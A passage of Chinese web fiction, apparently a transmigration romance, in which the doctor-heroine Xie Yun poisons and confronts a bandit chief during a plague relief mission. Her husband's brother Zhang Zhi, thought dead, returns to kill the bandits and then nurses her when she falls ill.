光头抹了一把脸,擦净雨水,高声大喊:“谁是这里的大夫?”
他那一嗓子,才叫现场的一群人注意到,他的右臂从手肘处断了,只拿衣服裹了裹,不至于继续流血。
这个力度,旁人不知,谢蕴与杨励却知道是谁。
此人身份也是昭然若揭。
“哑巴了?”光头继续高喊,左手竖起大拇指,朝后头比划一下:“现在不说,一会我们的人到了,你们可就吃不了兜着走。”
杨励奇怪,低声:“张止会败吗?”
“不会。”谢蕴仰头看看天,又看看杨励,坚定说:“不会。”
她不知道的。
那句反噬的结果到底是什么。
战败?死亡?
杨励说出谢蕴的心底的话:“张止的手段不会容忍他们回来,斩草必除根。”
谢蕴身形一晃,不由抿紧唇线,寒风吹过,她打了个冷颤,捞起刚放下的大氅替自己披上。
张止的味道在此时能让自己稍稍安心。
“问你们话呢!你们是想死?”
杨励先她一步站出来:“我就是这里的大夫。”
“那好,你来替我包扎。”光头一屁股坐到门槛上,嘴边泛起青白。
“好。”杨励回身,从桌子拿起几瓶药:“安心,我略通岐黄之术,一挑五,有点难,静观其变。你,不要出头。”
谢蕴递过去两个白瓷瓶,只有两个字:“止血。”
“磨磨唧唧的干什么呢?”光头招呼身后四人:“小大夫,你别给我耍花招,我死了,这几个人也别想活。”
院子里歇的人尚未完全恢复,被四人拉起时,只反抗了几下就被带走,余下的人更是畏畏缩缩。
杨励走到门口,蹲下身子,解开包扎的衣裳。
切口整齐,连根而断,是那人没错。
“你这伤口奇怪啊,什么人弄的?”杨励顺手拿起谢蕴给的止血药,直接往伤口上撒,他哪里懂什么岐黄之术,随便糊弄而已。
“你到底会不会!这是什么药!”光头瞬间疼的大叫,一把拍下他的手,刀口抵上杨励的脖子:“怎么比没处理还疼!”
杨励神色自若:“上药哪有不疼的?”
“少废话!”光头在痛苦中反应过来,此事有些许不对:“我听说这里的大夫不是女的么!你是什么人!”
杨励还准备继续糊弄,谢蕴提着裙子款步而来,从他手里取过药瓶,和声且坚定:“我来吧,你去看着炉火上的药。”
光头并未放下刀,警惕的看着眼前这对男女,分不清真假谎言。
谢蕴抬手挡着刀把,力量不大,却推了下去:“他是我的伙计,奴家胆小懦弱,一时不敢出来而已。”停顿一下,并未看杨励:“去看着炉子上的火,这里交给我。”
她不可以躲在杨励的背后,这里每个百姓都是她与张止的共同选择。
张止先行,她怎么甘心落后?
谢蕴垂着眸子,刀口无异,是那把泣血。何况断面干净整齐,非张止不能做到。
光头用刀面挑起谢蕴下巴,盯着她半晌,毋庸置疑:“你是张止的女人。”
她微怔,再次别开刀,淡淡道:“什么张止,阁下错认了。”
少顷,光头将刀插在土中,厉声道:“你骗不了我,你身上有他的味道。”
谢蕴手一顿,药瓶捅到光头断面处,他疼的龇牙咧嘴,侧身抬起胳膊,恶狠狠地说:“你是他的女人,定然能认出这伤口吧。”
谢蕴不答,只低头处理,一瓶又一瓶的药倒上去,光头好似从痛苦中缓解出来,抹了一把头顶的汗,露出牙床:“你不好奇吗?张止现在何处?为何我们敢大摇大摆的进程?”
她怎么能不好奇?她快好奇死了!
张止信奉斩草必除根,绝不留下祸患。
落网之鱼,从不放过。
这些人是怎么能逃脱呢?
“别想了,小娘子,他死了。”
谢蕴眼里没有情绪,机械似的将伤口一层一层包扎起来。
太安静了。
昨日她来时,呓语声,哀求声,不绝于耳,吵的她头疼欲裂。
怎么现在这么安静?
她在心中暗叹,太安静了。
她甚至希望能吵闹些。
在她这般希冀时,有人出声了,像是往平静的湖面扔了一粒小石子,发出“咚”的一声响。
“他啊,骑了那匹马,对了,那匹马是叫珍珠是吧?老子早就找人喂了药,发狂了,连人带马一起坠向悬崖。”
昨夜新雨,今日寒凉。
谢蕴越过光头的肩膀,望向路面,最后缓过目光,在包扎处系了个小小的蝴蝶结。
“阁下错认了,他死不死的,同我有什么干系?”谢蕴起身,嘴角勾了一下
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,面上冷若冰霜:“伤口已经包扎了,我祝阁下长命百岁。”
光头无比确信,她绝对是张止的女人。
就那脸上的表情,和雨夜的张止同出一辙,一样的邪性:“在下受阎王之托,来取各位性命。”
光头抓住大氅,让女子脚步一顿:“听说你治时疫很有一手,我那四个兄弟也患病了。”
谢蕴咬牙从光头手里夺下大氅,面露不悦拍拍大氅上的土:“你把我衣服弄脏了。”
“想治病想喝药,那里都有。”谢蕴伸手一指:“煮好了自己喝。”
谢蕴忽然厌烦无比,她不知道自己为什么要穿书,为什么要来赈灾,为什么要告诉张止…土匪的事。
“你,怎么样?”杨励上前扶了她一把,谢蕴双手放在身前,捏的泛红,身躯不由自主的发抖。
她一手撑着桌子,极力的控制自己平静下来,压低声音:“一打四,你行吗?”
诚如张止所言,他是文人出身,喜做精巧兵器,君子六艺中,最善射箭。但真的单打独斗,还是四个彪形大汉,他一时之间也难保能胜。
谢蕴只看杨励的表情,猜出大概,喉咙发紧,语气带了几分哽咽,哑声道:“你就欺负张止有本事!”
话一出口,她猛地发现,还真的是谁都能欺负张止。
皇上、太后忌惮,杨励与朝中大臣处处针对。
空有镇北侯爵位,兵权早已被卸。
晋王那样不学无术的人,君山银针马不停蹄的供着,侯府里却从未见过。
现在可倒好,一个土匪头子都能欺负到他头上了。
杨励被谢蕴这么一说,脸色通红,他发现这女子时时刻刻都让他颜面扫地。
谢蕴不再说话,好似无事发生,又恢复到了面无表情的样子,探脉、取药、煎药、看火,药熬好了也会亲自送一碗给五人。
光头接过药,喝了个干净,却不把碗递给她:“我问你,我的伤口为什么这么痒。”
谢蕴敷衍:“长新肉的时候都痒。”
“你糊弄谁呢?”光头把碗砸的粉碎,谢蕴在破碎中恍惚听见马蹄声:“什么伤口现在就开始长新肉?”
谢蕴不慌不忙,瞅了一眼地上的碎片,答非所问:“你们土匪这么有钱吗?一个碗就这样随便砸了?”
光头不知道这小娘子在搞什么鬼,但伤口又痒又疼,直觉告诉他,刚刚那药绝对有问题,一把揪住她的领子,将谢蕴抬的离地,杨励见状,飞奔而来,屈起大腿,转身踹到光头腰间。
那光头摔倒在地,握住谢蕴的手闷声而松。
“你们别动!不然,这些人都活不了!”光头早就料到有这一手,爬起来擦了擦嘴边的血:“你们想好!”
谢蕴与杨励相互对视一眼,他掌握了他们的软肋。
“你!”光头指着谢蕴:“过来!”
谢蕴不动,冷冰冰看着他。
光头不在废话,伤口处瘙痒更加剧烈,他一把扯下绷带,露出血肉模糊的断口。
“大哥!”那人颤抖,哆哆嗦嗦地问:“伤口…黑了…”
两道黑晕沿着断口攀岩而上。
在场的目光聚在谢蕴身上,她低头整理衣服,微风吹起面纱,女子怅然一笑,并不露怯:“你给珍珠下毒,我给你下毒,里外里,你还欠我一条命呢。”
29. 无关风月 只为真心
杨励扶额,她这张嘴,还真是从无败绩啊。
光头怒火高涨,药力下身形晃了晃,将刀立在脚边,勉强撑住身体,毋庸置疑道:“你是替张止报仇的!”
天下寻仇的人这么多,没有想到这次是个女子。
“你还没有听明白么?”谢蕴斜过身,摇头轻叹:“我是替珍珠报仇的,待你死后,过黄泉,入地府,张止自会向你讨命报仇,我不过是…”她顿了顿,抬头直视那人,冷声说了一句话。
“送阁下早点见他。”
光头一愣,扬起下巴,朝里间努努,哈哈大笑:“你不要这些人的命了吗?曹承和我说过,你是个实打实为穷苦人着想的大夫,你舍得吗?你快救治好的病人!如今又要送出去一条命?”
她当然舍不得!
“我今日活不了,你以为他们能活下去么!”
谢蕴默然,正是因为如此,她才处处为难,这帮土匪竟然以此相要挟,她握紧袖中那把匕首,指节发白,强忍着内心的冲动,咬牙:“你以为你没有他们你能活下来吗?你早就被我杀了!”
没有这些人,从她知道张止死了那刻,就要鱼死网破了!
“是啊,我知道你是这般人,你把解药拿出来,他们都可以好好活着?”光头害怕了,伤口处的瘙痒越来越严重,眼看着黑斑又向上攀延一寸,心中不由恐慌几分。
“怎么样?张止已经死了,你杀了我,也无济于事,这是在我来看,就是一桩买卖,我一个人换他们这么多人的命,还不划算吗?而且,我们还有兄弟在山上,不消半日,就能到。你何苦为了一个死去的人搭上满屋子人的命?”
好牵强的逻辑。
光头的命是命,病人的命是命。
偏偏是张止的命不是命,他可以为天下退让一步,没有人能为他讨回来这一步,哪里来的道理?
她有些很自己,恨自己优柔,恨自己寡断。
“大夫,”人群中有人缓缓起身,谢蕴对他印象很深,起初大家都不相信女大夫,是这个人带头喝了第一碗药,才让其他人逐渐相信她:“这群人,死不足惜!不要为了我们怕他!我们…”
他还没有说完,五人中的刀疤男拿着刀冲上去,杨励眼疾手快,飞奔过去,迅雷不及掩耳之势卸了他的刀,一挑四他不行,单挑他可不怕。
“你这说的什么话?那人都死了,还要怎么?”也有持不同意见:“我们都去给他陪葬就好了?你是不是这意思?”
“大夫,大夫,你不要听他们的!你幸幸苦苦救我们,不就是为了让我们多活几天,你…”那人似乎也没有什么底气,说着说着声音低下去,带着些哭意:“我爹妈还等着我养老呢!我死了,他们估计也活不下去了!”
话至此处,那人又突然仰天大喊:“爹、娘,儿子今日要死在这,也是为您二老尽孝了!”
他大叫一声,为自己助力,猛然间冲过去环住那刀疤男腰,可惜他病中身体如何能与土匪抗衡,被刀疤男提起狠狠的扔到地上,那人嘴角含血,呜咽道:“我不想死!但是这群土匪,你们想想他们怎么欺负我们的!现在这好的机会…”
不想死的不止他一人。
……
风过,迎面吹开谢蕴的大氅,通身的温暖渗进来丝丝凉意,让她怀念之前的温度。
她垂眼,情不自禁吸吸鼻子。
这股无法回避的味道,是张止。
“真是可笑,英雄死于小人之手。”谢蕴蹙眉,往人群中走去,弯腰扶起那人,替他擦去面上的血,柔和询问:“你怎么样?”
那人鼻青脸肿,声音含血:“大夫…没能帮上你。我们太弱了。”
谢蕴自小就知道,想要什么、不要什么,都要自己去争取,在此刻她的心意更加明显:“不要紧。”
“此药不会立刻毙命,只会瘙痒难耐,治好他们只要十天,十天后,我给你解药。在此期间,必须保证他们安然无事,否则你也一样拿不到解药。”
她终究是退了一步,两边相安无事。
只有杨励明白,五日之后,临县的人就会到。
谢蕴,根本没有打算放过他们。
她沉稳的拿着一把大扇子,坐在院子的正中,一下一下扇火。
炉火渐旺,衬着女子眼神似寒冰。
她就不信了,这群人有这么难杀。
***
光头对谢蕴防范之心更重,喝药必先由谢蕴尝过才能入口。
“小娘子,你这般恨我,想必你们感情很深。”
谢蕴低头看碗,药被喝的干净,一口也没有剩下。
可见生死面前,大多数人都不会无动于衷,想方设法挣扎的活下去才是常态。
她不知道张止在掉下悬崖时是什么样,是不是求生强烈,是不是…挣扎无果。
光头在风起时看见过谢蕴面纱后的容貌,肤白若雪,含情眼暗含秋波,他靠在门上,阴测测的笑,压低声音:“我瞧着那小子身体强壮,床塌之上你很受用吧?所以才这般恨我,恨不能杀了我!”
谢蕴忍了又忍,但她能为张止做的也只有在此刻维护他的尊严,即使他们之间并未发生过什么:“自然,我受用的很,不过,看阁下身材,天下女子多半都是看不上。”
光头不高,又是一双罗圈腿,面上黑漆漆,整个人看起来像是从土中爬出来的土豆精,谢蕴很怀疑他是怎么当上大哥的。
“你!”光头腾的一下站起来,他最讨厌人们议论他的外貌,好在他当上带头大哥后,无人敢在他面前说起这些,冷不丁被人说起,立马用那只完好的手一把掐住谢蕴的脖子,抵在墙上,还不忘提醒自己的兄弟:“给我看住那小子!”
杨励先头露出功夫,腰马之间很有一套,光头不敢大意,现如今杨励被两人死死按住,动弹不得,此时无比后悔,早知道当初应该学武。
“谢蕴!”
她脖子被掐住,光头手劲太大,后背靠在墙上,脚尖
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渐渐离地,上下蹬腿。
“你…杀了我吧…有种,你就杀了我,”谢蕴嗫嚅,脸憋得青紫,眼中视死如归:“尽管来!”
说完,她意识到自己如今大小也是镇北侯夫人,怎么也不能丢份,至少不能给张止丢人,于是拼尽全力,大喝一声:“要杀我,尽管来!”
一阵风吹过,她恍惚间又听到马蹄声。
只是,她呼吸不上来了!
光头不敢杀她,解药尚未拿到,稍微松开些虎口,能让她呼吸几口,又再次握紧,反复几次,意在折磨,言语嘲讽:“你这样想死?那小子生的好,床榻之上,功夫了得,你就这般轻贱我!是怕那小子死了,没有人满足你!别怕,晚上爷爷就来好好满足你!”
谢蕴得到喘息,大笑不止,寒风沿着口腔灌进喉咙里,她依然没有停止大笑,连肩膀都抽动起来。
空气里只弥漫着风声以及谢蕴的笑声。
“你笑什么?”光头呆呆的仰视这女子,不知道到底有什么可笑的事情,值得她一直这般笑。
“我是笑你们啊!蠢货!一群蠢货!”谢蕴听着风声,在仅有的喘息中,又闷声笑起来:“你们只能在床榻之事上推测义气!真是可笑,落草为寇不应该最重义气吗?义字当头是你们的教条啊,怎么还能在此刻想着男女之事?你们不是拜关公吗?效仿的不是桃园三结义吗?效仿到哪去了!”
她与张止,没有拜过关公,拜的是天地!结的是夫妻!
“我告诉你们,我对张止,是过命的义气!是生死相交的义气!”
世界上男女之间,不只是有风月之事,更有相遇相知,生死不离的义气,在一场相交中只为真心。
从他为她绑架杨宝珠,逼着重臣夜扣宫门开始,真心已悄然而生,即便知道自己可能失身,他也绝不和离,真心便逐渐加码。
如今她为他这般,皆是为义气,皆是为真心。
“好好好!你知道那小子怎么死的吗?我告诉你,”光头恼羞成怒,也不管其他的,恶狠狠的说:“他啊,连人带马奔出去的时候没死呢,一手扒在悬崖上,想要爬上来,你猜最后怎么着,看见没有,就是那把刀,我捅进去他的手掌…”
他们没有听完这个故事。
谢蕴从袖中掏出匕首割破那人喉咙:“这匕首是张止送我的,现在,送你下去见他。”
世上大义多在朝堂,多在战场,杨励从未想过能在一个如此破落的院子,亲眼见证。
谢蕴没有学过武,又隔着一臂距离,匕首只在光头脖子上留下一道血口,光头并吃痛下把谢蕴扔出去,耳边划过风声,她又听见马蹄声。
真是太能幻听了!是不是人死之前都会这样幻听?
那么,张止死前又听见了什么?
有力的臂膀从背后而来,揽住她的腰,稳稳的接住了她。
那样浓烈的气息,她不用回头都知道是谁,竟在此刻,眼眶湿润。
“夫人,当心。”
30. 强势回归 坦诚相待
张止御马前来,在转弯看见院落的瞬间,三魂吓掉七魄!
他脚踏马鞍,飞身而起,在落地时抱住了谢蕴,张止手臂箍的更紧,不敢想他晚来一步会发生什么。
谢蕴强忍着哭意,望着张止冷峻的侧脸,喉咙颤抖:“你没死,真的是太好了。”
张止笑着抬臂为她擦净脸上的血迹,道:“夫人,稍候,且看我如何杀下这一局。”
他拖着刀,徐步往院子走去,冷笑着说:“各位,我回来了。”
光头身体僵在原地,不可置信,颤声:“不可能!你是人是鬼?我明明砍了你一刀,还…不可能!”
谢蕴在这呼吸间,见张止杀意四起,几乎以为他要冲上去了,岂料张止却在半路弯腰捡起匕首,在袖口蹭了蹭血迹,薄讽:“小爷我要是死了,谁来取你狗命?”
光头还想说句什么,但顾不上开口,张止已至眼前,甚至都没有看清他的步伐。
他凭着身体反应后退几步,惊魂未定。
风过耳边,刀过前胸。他比张止要矮上不少,晃肩躲闪。
杨励暗叹,好漂亮的招式!
刀面贴着胳膊而过,他迟钝地盯着那双狠狞无双的眼睛,千钧一发时,他仅剩那只的手传来丝丝凉意。
张止像是大梦初醒才想起来说话,和颜悦色:“是这只手吧?”
“嗯?”光头咽咽口水。
和颜悦色的脸上再度风云四起,在这凛冽风中鲜艳夺目,煞是好看,冷声:“抱歉,今日还未来的及磨刀,钝了些。”
音落,光头才感觉到疼痛,鲜血从手肘处喷溅而出,洒了张止满身,在这血色中,张止神色不豫。
光头后知后觉的挪动目光,对上的那双冷冽的眼睛后直直的后仰在地。
张止从他身上跨步而过,脚尖碾着那只断手,厉声:“你哪只手碰了她,就留下哪只手,这是规矩。”
不过须臾,战斗结束,五人皆死。
张止站在檐下收刀,看见站在不远处的谢蕴,招手让她过来:“我给你摘了果子,在铠甲里面。”
他满手是血,抬高双臂,示意谢蕴自己去拿。
谢蕴手掌贴着他的胸膛,只往前伸指,就轻而易举够到了那两枚藏在心口处的果子。
她愣了,垂眼看着安然躺手心的果子。
“你怎么不留活口?”杨励动动肩膀,真打起来,自己不如张止太多,委实很有差距:“回头朝廷口供又是好大的功夫。”
“要什么口供?”张止轻描淡写,随手将血迹擦在铠甲上:“剿匪么,从曹…”
“你怎么…哭了?”张止手足无措,手上的血迹让他无所适从,上次她哭,还是以为自己死了,想起他们相差十岁,只当她是小孩子心性,温声道:“我尝过的,是你喜欢的酸度。”
谢蕴嚎啕大哭,哭的上气不接下气,张止顿时明白怎么回事,笑着只用手臂揽着她,手掌举起,不叫血迹落在她肩上。
“我这不是好好的回来了么,他们那群人能把我怎么样?”在杨励看来,这是张止少见的温柔:“别哭了,嗯?”
谢蕴止住了眼泪,握紧手中的果子,喘着气抽噎道:“你以后早点回来吧,不要…摘果子了。”
***
这场荒唐的剿匪在雨夜后落幕,对张止而言,最大的损失,是失去了那匹叫珍珠的小马。
他与少爷十年未见,现在又少了几分可以联系牵挂的东西。
谢蕴端来药,蹲下身子耐心为他包扎,伤口早已结痂,不得已要再次挑开。
万幸,只是手背处;不幸,已见白骨。
“我听他们说,你对绑匪言明,你我之间,是过命的义气?”这话是杨励转述给他的,话里话外,暗愧自己不如,又道:“我本以为皇上赐你的是眼线,却不想到是完美无缺的妻子。”
他静了一会,才道:“听杨大人的口气,很是羡慕?”
杨励并不认为这有什么好丢人的,承认的很痛快:“当然,张止,好命。”
他心中咋起一股酸意。
这妻子,不是他的,是张止的。
杨励可以光明磊落的承认,他不能。
想到此处,他不经意间动了下手掌。
蹲在下方的女子,仰面望他,担忧可见:“是不是疼?伤口太深了,你且忍一忍。”
张止默了默,翻手抬起她的下巴,她未摘面纱,只有一双含情眼与她对视。
他知道的,再这么下去,他非要臣服在自己的欲望之下不可。
“我兄长…”张止问不下去这个问题。
觊觎嫂嫂,是他对于兄长的背叛。
谢蕴垂眼,柔软的手掌贴住他的手腕,硬硬的将手背拉过来,继续处理伤口。
两厢沉默,只听得见烛火燃爆的声音。
直到伤口处理完毕,谢蕴没有起身,看着面前那只手。
“昭明,你说我们是生死之交的义气吗?”天冷,她说话间的热气,喷到张止手上,刺的伤口发痒。
这句话是她说的,那么,她也想知道张止是不是也是这样认同。
良久,头顶上传来一声轻微的叹气:“当然。”
谢蕴抬头与他对视。
含情眼对上狭长的凤眼。
没有人躲闪,没有人逃避。
他们互相看着对方。
那双在黑暗之中也极亮的眼睛,让她认为生死之交,不应该有欺骗。
谢蕴摘下面纱,至少在承认错误上应坦诚相待。
张止抬臂阻止:“这里病人多…”
谢蕴向后躲开,她无法在生死之交面前,继续说那些可笑的谎言:“昭明,我无法复活你的兄长。”
他举到半空的手指突然停顿,像是没有听懂,再次确认:“你说什么?”
“我无法复活他了。”谢蕴很愧疚,当时的权宜之计,骗了他那么久:“对不起。”
如她所料,张止在沉默之后毅然决然冲进夜色里,甚至连佩刀都没有拿。
谢蕴很惭愧,惭愧到她连追出去的勇气都没有。
“宿主,之前系统升级,所以有些信息还未来的及更新。”
“什么信息?”谢蕴厌烦无比。
“你与男主,在最开始绑定共生系统,他若受伤,你替他医治,那么你的血条就会减少。”
谢蕴一愣,在这句话中摸出蛛丝马迹:“你是说,他生病我救治,是
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拿我的命在救?”
“是的。如果宿主不愿意减少自身血条,也可以在男主受伤时选择不进行救治。”
谢蕴真想骂娘,这是什么设定啊,处处压制着她!
“什么时候开始?”
“在男主第一次受伤时已经开始了。”
她想起来了,张止被皇帝鞭笞是她医治的,结果她晕的不省人事。
一切都是有迹可循。
“另外,恭喜宿舍,任务进度完成百分之五十。”
这个好消息并没有冲散她烦闷心情,她坐在台阶上,重重的叹了一口气,头疼欲裂。
章樾从背后给她披上大氅,她用力吸吸鼻子,竟然又想哭。
“你回去吧,你主子生气了,以后不用来了。”
章樾年岁不大,稚气的说:“主子生气了,会召我回去,若是没有召我,那么,还是希望我能陪在夫人身边。”
好拗口的道理,她无暇去想。
因为,还有一群病人,等着她去治疗。
***
张止又一次风尘仆仆的归来,曹承在昨晚苟延残喘留下一条命,是因此地还需要父母官,另外,他的罢免任职都在皇上那,张止与杨励只有上折子说明情况的份。
眼下,如何讨好这两位大佛对他来说是重中之重。
“卑职听说大人剿匪大胜,”曹承毕恭毕敬奉上茶:“想必累坏了。”
张止没听清他说什么,只回想着谢蕴那句话:我无法复活他了。
这些日子,活像个笑话。
他的克制,他的清醒,他一次又一次的拉回在悬崖边处的自己,却被这一句话又再次推到悬崖之外。
只要他愿意,伸手够一够。可惜他太聪明了。
“你说什么?”张止缓过神来,底下跪着五个女孩,约摸十五六岁,清一色花容月貌。
“卑职知道侯爷剿匪幸苦,五个姑娘不承敬意,我估计疫病还要一阵,大人没有人伺候怎么能行?只要大人不嫌她们手脚粗笨就好。”
张止手中的杯盖拿起又放下,曹承揣摩不透张止什么意思,继续讨好:“你们抬起头,让大人看看你们的脸。”
这些人生的好看,独独可惜没有一个人有那双能够溺死他的含情眼。
“大人,这些都是良家子。”
杯盖落下去,发出清脆的一声响。
张止侧身,冷笑:“我以为经过昨晚,你长了点脑子,不想,全进了水。”
曹承被这话吓的半死,忙不迭的跪地求饶,张止今日是怎么解决土匪的,大街小巷无人不知。
他懒得在继续虚与委蛇,迈步回房。
随后,冷静的卸甲、洗澡。
他多年的习惯,但凡有污,必要洗澡。
靠在浴桶边,张止感谢此刻只剩下自己。
自然,他也避免不了想起那双含情眼,生生的勾走他的魂魄。
他靠着浴桶,双臂搭在浴桶边,艰难的呻吟一声。
事情怎么会变成这样。
次日天亮,张止是被人唤醒的。
“什么事?”他声音疲倦,昨夜竟然在水里睡了一觉。
“主子,夫人染疫了。”
31. 背德禁忌 生死攸关
张止手指拨开窗,风从中而过,吹动床蔓,露出躺在里面的倩影。
“不可!不可!此病见不得风!”大夫见状,小跑着过来阻止。
“怎么回事?”张止手掌一动,将缝隙填上:“昨夜不还好好的吗?”
大夫不知道他们的关系,又是真心敬佩此女临危不惧,大倒苦水:“你们赈灾治病,就带一个大夫来?还是个女子,她能三天两头的在这熬?旁的不说,就说昨天那架势,什么叫微言大义?”
杨励拍拍大夫肩膀,有意替张止解围:“大夫,如实禀告病情。”
大夫哦了一声,文皱皱的说了半晌。此前他就是在此处治疫,自谢蕴来后,他凭着经验多也留了下来打下手,
张止与杨励并肩站在檐下,这里多是男人,唯一的女子是杨宝珠。
“我去唤宝珠…”说不出真情还是假意,他疼爱妹妹,自是不愿让宝珠涉险。
“不用,我自己照拂。”张止入内,里间未点灯,他弯腰挂起帘子。
谢蕴与睡着无异,若不是脸上的红疹…
大夫的话犹在耳边:“她的病与其他的人不同,来势汹汹,发烧、红疹、呓语,一夜之间全部发作,安知不是这几日操心太过缘故?寻常人红疹,皆在四肢,后背,只红不痒,姑娘不同,脸上也有,且又红又痒。女子一张脸最为要紧,日后议亲,留下疤痕,婚事多有艰难。”
“她不议亲。”张止笃定,看着那人眼睛,倏忽转了语气:“我知在先生并非碌碌无为之人,这病你能治吧?”
大夫被他这一看,后背一湿,唯唯诺诺:“只能按照姑娘的方子先治。”
思绪飘到没边,他俯身,手掌盖到女子额前。
发热。
床头摆着一碗药,大夫在门外说过,谢蕴已喂不进去药了:“喂不进去药,神仙也撑不过三天!”
他垂眼,看着碗里的药,舀了一勺,往谢蕴嘴里送。
谢蕴烧的意识昏沉,却能死咬牙关,一点缝隙不漏,哪怕喂了进去,也全部吐出来。
张止心中不知从哪里冒出来一股无名之火,所幸放下汤碗,捏着谢蕴的脸颊,还未用力,那女子突然喃喃说:“别扔下我。”
呓语。
他一愣,心生愧疚,可不是么?昨夜不就是他扔下的么?
张止放手,趁着机会,将药送她唇边,轻声:“蓁蓁,不会了,日日夜夜,绝计不分离。”
谢蕴烧的迷迷糊糊,呼吸沉重,却能与他答的有来有回,甚至还能嘲笑几句:“老爹,你又在骗我。”
“没有骗你。”张止手上一顿,喂完一口药后,歪头想了想,嘲讽的笑了:“你还是别叫我爹了,你若是我女儿,我得…难受死了。”
谢蕴与梦中的老爹对话,面容恹恹:“我不能当你女儿么?我不好么?我不优秀么?”
张止敛眸,闷声:“下辈子吧,这辈子千万千万不要成为我女儿。”
“一个嫂嫂已经叫我够头疼的了。”
语毕,又送下去几口药。
谢蕴想要说什么,似是还未想好,并没有发出声音,张止坐在床边,伸手撩开她额前湿漉的碎发,注视着那张脸,起伏不定的胸口,他挪开目光,不敢在打量。
为了哄她喝完药,张止低声与她对话:“蓁蓁啊,药苦不苦?”
谢蕴在意识不清醒时,终于想明白自己要说什么了。
“下辈子,我当你女儿,你千万不要抛弃我了,我不想再当最后一名了。”
这是她的噩梦,她颠沛流离,她辗转多地,她永远不是他们的第一选项。
在她前面,有自由、有金钱、有幸福…有各种各样的事情,可就是这么古怪,她每次都排在最后。
所有人从未坚定不移的选择过她。
真是可悲啊。
“你在我这里永远是第一。”张止喂完最后一口药,勺柄搁在碗沿上,发出清脆一响,半晌他才开口:“蓁蓁,下辈子也不要做我女儿。”
“啊,那做什么?做什么才不会抛弃我?”
做夫妻啊。
他沉默了片刻,半晌,俯下身在她的耳边蛊惑人心说道:“我做你的夫郎啊。”
谢蕴烧的昏昏沉沉,又像是无力招架,终是迷迷糊糊地睡过去。
***
张止拿着药碗出来时,才知道外头因疫病死了两人。
“谢大夫在时,可一个人也没有死。”杨励心下大惊:“她不过才倒下一日…”
大夫满头是汗,实话实说:“昨日天凉,总有反复。”
杨励还想说什么,回头瞥到站在檐下的张止,便摆手示意大夫闭嘴,他们多是政见不合,所属党派不同,但于百姓来说,两人想法大多一致。
“河道未完工,疫病我尚能主持。”杨励说话向来点到及止。
张止原本也是这样想的,可如今死了两个人…他不敢掉以轻心:“河道那边是我的心腹,我守在这里,让他们每日早晚汇报进度情况。”张止将空碗递过去给大夫,换了语气:“内子已喝了药,还有什么要注意?”
大夫还沉浸在病情反复之中,点点头:“喝了药就好…”
他反应过来不对:“内子?”
张止无暇顾及,里间传来一阵呕吐声,他抖然转身,几步迈了进去,昏睡的谢蕴扒着床沿,吐的一塌糊涂,见人进来,她像是放心,重重的倒在枕上,只一瞬,又想起身,从喉咙翻涌而出一股酸意,像是非要把心肝脾肺肾吐的干净才算。
张止脚踩秽物,捞起半起身的谢蕴,撑起双腿,让她伏在膝盖上,哄道:“吐吧,吐完就好了。”
谢蕴真听他的话,猛然吐了一地,秽物沿着张止裤腿,流进靴子里,他未见不耐烦,替她揉着背心,柔声细语:“吐完嘴中苦涩,我准备了橘子。”
他隔着床蔓,对外头喊:“进来!”
先前大夫避而不及,是怕女子议亲不顺,现在避而不及,是镇北侯夫人,压的人抬不起头。
杨励在外面踢了一脚:“还不去?”
谢蕴淌了一身汗,不能见风,张止拿起将大氅裹紧
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,从右边掏出白皙的手腕:“大夫,如何?”
“这…还是喂药…”
“吐了也要喂?”张止掠过秽物,一地药水中残留了几口果渣。
“喂吧,”大夫按部就班用着谢蕴的药方,知其然而不知其所以然:“现下也没有好办法。”
伏在张止膝头的谢蕴,咳嗽两声,在昏昏沉沉中清醒呓语:“药…药有问题…”
“景和!”张止厉声:“查!”
大夫识趣退下,谢蕴并未好点,吐的更加厉害,先前还能吐些药,到后来胃里没东西,只能呕出来酸水。重复着吐的时候清醒,不吐时昏睡的过程。
“蓁蓁,”张止因那两人死亡,不由生出唇亡齿寒,推人及己之感,总控制不住哄她说话:“又欠你张大人一次人情。”
谢蕴半睁眼,盯着张止靴子,忍着嗓子眼的冲动,哑声:“弄脏你的靴子了…”
“嗯,记得赔。”张止晃了晃膝盖,激的她又吐了一靴子:“等你好了,亲手做一双给我。”顿了顿又补充道:“想吐不必忍着。”
谢蕴咳嗽了几声,没有说话。
张止手臂穿过她的面颊,垫高了些,又道:“怎么?想要反悔?”
谢蕴枕着他的手臂,移出了些口鼻的位置,方便自己往外吐:“哪敢?实在没有这个手艺。”
屋外雨后放晴,因避着风,不见阳光洒进来,谢蕴虚弱的像一只淋湿的猫咪,窝在他的膝头。
“等你好了,我带你去这里最高的山峰,那里能俯瞰整城。”张止说:“我就是在那看见你,才知回来的方向。”
谢蕴没有力气,苍白的脸侧被包裹在黑色的氅衣中,好半天才说话:“这么算下来,我也不欠你人情了。”
张止低笑,抬手盖住她的前额,这人病成这样还是不能吃亏:“小爷我回来是靠我的我自己找方向啊,没欠你人情。”
“我不是你方向吗?”谢蕴又伸头吐了一回,这次控制的很好,吐在张止的脚边,闭眼在理不清的思绪中杀出一条血路。
张止没笑,替她揉着后心:“嗯,你是我的方向。”
见她没说话,张止松了些力度:“我小时候呕吐,我奶奶总是这样给我揉…”
张止像是说了一长段话,谢蕴脑袋发胀,只听见他好似再问,我是你的谁,她浑浑噩噩中想不明白逻辑,只想应付了事,所幸给他戴顶高帽:“你是我爹…”
听见这话,张止严肃,轻声警告:“蓁蓁,你这样,我会死的。”
谢蕴没有回应,闭着眼沉沉的睡去。
张止不敢再动,靠在床头,硬着身子,直到确定谢蕴不吐了,才肯放下她,转身缓了缓,弯腰将鞋里的酸水倒出来。
他目光定了定,在一地酸水中拾起一枚果渣。
张止认得这个,毕竟是他吊着双臂从一棵老树上摘下的。
这种青皮外衣的果子,想起来就牙床发酸。
他侧眸看着床上的女子,在叹气中将靴子穿好,俯身在女子耳边强势说:“蓁蓁,谁都别想要你命!”
32. 病中一吻 难舍难分
谢蕴的症状独树一帜,与其他所有人都不同,病情时好时坏,来势汹汹,时隔一夜,并未好转。
“不成,”杨励见张止从里间出来,低声:“还是另请其他大夫来。”
不单单是谢蕴没有好转,前几日的病人也总是反复。
“昨夜我已经修书,让景和去找无眉大师。”张止端起药碗,尝了一口,真苦啊:“最慢明晚,大师就到。”
景和与大夫翻了药渣,谢蕴的药平白无故的多了一味,张止对药理之术浅尝辄止,再无外人帮助下他难以分辨好坏,如今去了那味药,还是沿用谢蕴曾经的方子,现下他只有亲自试药,才可放心。
杨励意外,这位无眉大师,杏林妙手,名头响亮,某日突然看破红尘,自此隐退,入了道,形迹神龙见首不见尾的,难得张止与他有交情。
